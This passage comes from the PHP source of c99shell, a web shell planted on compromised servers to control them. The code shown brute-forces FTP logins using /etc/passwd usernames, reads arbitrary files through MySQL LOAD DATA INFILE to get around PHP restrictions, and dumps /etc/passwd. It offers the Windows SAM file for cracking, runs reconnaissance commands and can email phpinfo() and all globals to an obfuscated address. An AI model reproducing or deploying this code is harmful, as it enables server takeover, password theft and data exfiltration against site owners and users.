  1573.        else {$s = "a"; $m = "desc";}
  1574.        echo "<td>";
  1575.        if (empty($e[0])) {$e[0] = "a";}
  1576.        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1577.        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1578.        echo "</td>";
  1579.       }
  1580.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  1581.       echo "</tr>";
  1582.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1583.       {
  1584.        echo "<tr>";
  1585.        $w = "";
  1586.        $i = 0;
  1587.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1588.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1589.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1590.        $i = 0;
  1591.        foreach ($row as $k=>$v)
  1592.        {
  1593.         $v = htmlspecialchars($v);
  1594.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  1595.         echo "<td>".$v."</td>";
  1596.         $i++;
  1597.        }
  1598.        echo "<td>";
  1599.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  1600.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  1601.        echo "</td>";
  1602.        echo "</tr>";
  1603.       }
  1604.       mysql_free_result($result);
  1605.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1606.       echo "<option value=\"\">With selected:</option>";
  1607.       echo "<option value=\"deleterow\">Delete</option>";
  1608.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1609.      }
  1610.     }
  1611.     else
  1612.     {
  1613.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1614.      if (!$result) {echo mysql_smarterror();}
  1615.      else
  1616.      {
  1617.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1618.       $i = 0;
  1619.       $tsize = $trows = 0;
  1620.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1621.       {
  1622.        $tsize += $row["Data_length"];
  1623.        $trows += $row["Rows"];
  1624.        $size = view_size($row["Data_length"]);
  1625.        echo "<tr>";
  1626.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1627.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1628.        echo "<td>".$row["Rows"]."</td>";
  1629.        echo "<td>".$row["Type"]."</td>";
  1630.        echo "<td>".$row["Create_time"]."</td>";
  1631.        echo "<td>".$row["Update_time"]."</td>";
  1632.        echo "<td>".$size."</td>";
  1633.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  1634.        echo "</tr>";
  1635.        $i++;
  1636.       }
  1637.       echo "<tr bgcolor=\"000000\">";
  1638.       echo "<td><center><b>+</b></center></td>";
  1639.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  1640.       echo "<td><b>".$trows."</b></td>";
  1641.       echo "<td>".$row[1]."</td>";
  1642.       echo "<td>".$row[10]."</td>";
  1643.       echo "<td>".$row[11]."</td>";
  1644.       echo "<td><b>".view_size($tsize)."</b></td>";
  1645.       echo "<td></td>";
  1646.       echo "</tr>";
  1647.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1648.       echo "<option value=\"\">With selected:</option>";
  1649.       echo "<option value=\"tbldrop\">Drop</option>";
  1650.       echo "<option value=\"tblempty\">Empty</option>";
  1651.       echo "<option value=\"tbldump\">Dump</option>";
  1652.       echo "<option value=\"tblcheck\">Check table</option>";
  1653.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  1654.       echo "<option value=\"tblrepair\">Repair table</option>";
  1655.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  1656.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1657.       mysql_free_result($result);
  1658.      }
  1659.     }
  1660.    }
  1661.    }
  1662.   }
  1663.   else
  1664.   {
  1665.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1666.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  1667.    if (!empty($sql_act))
  1668.    {
  1669.     echo "<hr size=\"1\" noshade>";
  1670.     if ($sql_act == "newdb")
  1671.     {
  1672.      echo "<b>";
  1673.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1674.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1675.     }
  1676.     if ($sql_act == "serverstatus")
  1677.     {
  1678.      $result = mysql_query("SHOW STATUS", $sql_sock);
  1679.      echo "<center><b>Server-status variables:</b><br><br>";
  1680.      echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1681.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1682.      echo "</table></center>";
  1683.      mysql_free_result($result);
  1684.     }
  1685.     if ($sql_act == "servervars")
  1686.     {
  1687.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1688.      echo "<center><b>Server variables:</b><br><br>";
  1689.      echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1690.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1691.      echo "</table>";
  1692.      mysql_free_result($result);
  1693.     }
  1694.     if ($sql_act == "processes")
  1695.     {
  1696.      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  1697.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1698.      echo "<center><b>Processes:</b><br><br>";
  1699.      echo "<TABLE cellSpacing=0 cellPadding=2 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1700.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1701.      echo "</table>";
  1702.      mysql_free_result($result);
  1703.     }
  1704.     if ($sql_act == "getfile")
  1705.     {
  1706.      $tmpdb = $sql_login."_tmpdb";
  1707.      $select = mysql_select_db($tmpdb);
  1708.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1709.      if ($select)
  1710.      {
  1711.       $created = FALSE;
  1712.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1713.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1714.       $result = mysql_query("SELECT * FROM tmp_file;");
  1715.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1716.       else
  1717.       {
  1718.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1719.        $f = "";
  1720.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1721.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1722.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1723.        mysql_free_result($result);
  1724.        mysql_query("DROP TABLE tmp_file;");
  1725.       }
  1726.      }
  1727.      mysql_drop_db($tmpdb); //comment it if you want to leave database
  1728.     }
  1729.    }
  1730.   }
  1731.  }
  1732.  echo "</td></tr></table>";
  1733.  if ($sql_sock)
  1734.  {
  1735.   $affected = @mysql_affected_rows($sql_sock);
  1736.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1737.   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
  1738.  }
  1739.  echo "</table>";
  1740. }
  1741. if ($act == "mkdir")
  1742. {
  1743.  if ($mkdir != $d)
  1744.  {
  1745.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  1746.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  1747.   echo "<br><br>";
  1748.  }
  1749.  $act = $dspact = "ls";
  1750. }
  1751. if ($act == "ftpquickbrute")
  1752. {
  1753.  echo "<b>Ftp Quick brute:</b><br>";
  1754.  if (!win) {echo "This functions not work in Windows!<br><br>";}
  1755.  else
  1756.  {
  1757.   function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  1758.   {
  1759.    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  1760.    else {$TRUE = TRUE;}
  1761.    if ($TRUE)
  1762.    {
  1763.     $sock = @ftp_connect($host,$port,$timeout);
  1764.     if (@ftp_login($sock,$login,$pass))
  1765.     {
  1766.      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1767.      ob_flush();
  1768.      return TRUE;
  1769.     }
  1770.    }
  1771.   }
  1772.   if (!empty($submit))
  1773.   {
  1774.    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1775.    $fp = fopen("/etc/passwd","r");
  1776.    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1777.    else
  1778.    {
  1779.     if ($fqb_logging)
  1780.     {
  1781.      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1782.      else {$fqb_logfp = FALSE;}
  1783.      $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1784.      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1785.     }
  1786.     ob_flush();
  1787.     $i = $success = 0;
  1788.     $ftpquick_st = getmicrotime();
  1789.     while(!feof($fp))
  1790.     {
  1791.      $str = explode(":",fgets($fp,2048));
  1792.      if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  1793.      {
  1794.       echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1795.       $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1796.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1797.       $success++;
  1798.       ob_flush();
  1799.      }
  1800.      if ($i > $fqb_lenght) {break;}
  1801.      $i++;
  1802.     }
  1803.     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1804.     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1805.     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1806.     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1807.     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1808.     if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
  1809.     fclose($fqb_logfp);
  1810.    }
  1811.   }
  1812.   else
  1813.   {
  1814.    $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1815.    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1816.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
  1817.   }
  1818.  }
  1819. }
  1820. if ($act == "d")
  1821. {
  1822.  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  1823.  else
  1824.  {
  1825.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1826.   if (!$win)
  1827.   {
  1828.    echo "<tr><td><b>Owner/Group</b></td><td> ";
  1829.    $ow = posix_getpwuid(fileowner($d));
  1830.    $gr = posix_getgrgid(filegroup($d));
  1831.    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1832.   }
  1833.   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  1834.  }
  1835. }
  1836. if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
  1837. if ($act == "security")
  1838. {
  1839.  echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
  1840.  if (!$win)
  1841.  {
  1842.   if ($nixpasswd)
  1843.   {
  1844.    if ($nixpasswd == 1) {$nixpasswd = 0;}
  1845.    echo "<b>*nix /etc/passwd:</b><br>";
  1846.    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1847.    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1848.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1849.    $i = $nixpwd_s;
  1850.    while ($i < $nixpwd_e)
  1851.    {
  1852.     $uid = posix_getpwuid($i);
  1853.     if ($uid)
  1854.     {
  1855.      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1856.      echo join(":",$uid)."<br>";
  1857.     }
  1858.     $i++;
  1859.    }
  1860.   }
  1861.   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  1862.  }
  1863.  else
  1864.  {
  1865.   $v = $_SERVER["WINDIR"]."\repair\sam";
  1866.   if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
  1867.   else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</font></b><br>";}
  1868.  }
  1869.  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
  1870.  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
  1871.  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1872.  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1873.  if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
  1874.  if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
  1875.  if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
  1876.  function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
  1877.  displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
  1878.  displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
  1879.  displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
  1880.  displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
  1881.  displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
  1882.  displaysecinfo("RAM",myshellexec("free -m"));
  1883.  displaysecinfo("HDD space",myshellexec("df -h"));
  1884.  displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  1885.  displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
  1886.  displaysecinfo("Is cURL installed?",myshellexec("which curl"));
  1887.  displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
  1888.  displaysecinfo("Is links installed?",myshellexec("which links"));
  1889.  displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
  1890.  displaysecinfo("Is GET installed?",myshellexec("which GET"));
  1891.  displaysecinfo("Is perl installed?",myshellexec("which perl"));
  1892.  displaysecinfo("Where is apache",myshellexec("whereis apache"));
  1893.  displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  1894.  displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
  1895.  displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
  1896.  displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
  1897.  displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
  1898. }
  1899. if ($act == "mkfile")
  1900. {
  1901.  if ($mkfile != $d)
  1902.  {
  1903.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  1904.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  1905.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  1906.  }
  1907.  else {$act = $dspact = "ls";}
  1908. }
  1909. if ($act == "encoder")
  1910. {
  1911.  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
  1912.  foreach(array("md5","crypt","sha1","crc32") as $v)
  1913.  {
  1914.   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  1915.  }
  1916.  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
  1917.  <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
  1918.  <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
  1919.  echo "<center>base64_decode - ";
  1920.  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
  1921.  else
  1922.  {
  1923.   $debase64 = base64_decode($encoder_input);
  1924.   $debase64 = str_replace("\0","[0]",$debase64);
  1925.   $a = explode("\r\n",$debase64);
  1926.   $rows = count($a);
  1927.   $debase64 = htmlspecialchars($debase64);
  1928.   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  1929.   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  1930.   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
  1931.  }
  1932.  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1933.  $c = strlen($encoder_input);
  1934.  for($i=0;$i<$c;$i++)
  1935.  {
  1936.   $hex = dechex(ord($encoder_input[$i]));
  1937.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1938.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1939.  }
  1940.  echo "\" readonly><br></center></form>";
  1941. }
  1942. if ($act == "fsbuff")
  1943. {
  1944.  $arr_copy = $sess_data["copy"];
  1945.  $arr_cut = $sess_data["cut"];
  1946.  $arr = array_merge($arr_copy,$arr_cut);
  1947.  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
  1948.  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
  1949. }
  1950. if ($act == "selfremove")
  1951. {
  1952.  if (($submit == $rndcode) and ($submit != ""))
  1953.  {
  1954.   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); }
  1955.   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  1956.  }
  1957.  else
  1958.  {
  1959.   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  1960.   $rnd = rand(0,9).rand(0,9).rand(0,9);
  1961.   echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  1962.  }
  1963. }
  1964. if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
  1965. if ($act == "feedback")
  1966. {
  1967.  $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
  1968.  if (!empty($submit))
  1969.  {
  1970.   $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  1971.   $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  1972.   if (!empty($fdbk_ref))
  1973.   {
  1974.    $tmp = @ob_get_contents();
  1975.    ob_clean();
  1976.    phpinfo();
  1977.    $phpinfo = base64_encode(ob_get_contents());
  1978.    ob_clean();
  1979.    echo $tmp;
  1980.    $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  1981.   }
  1982.   mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  1983.   echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  1984.  }
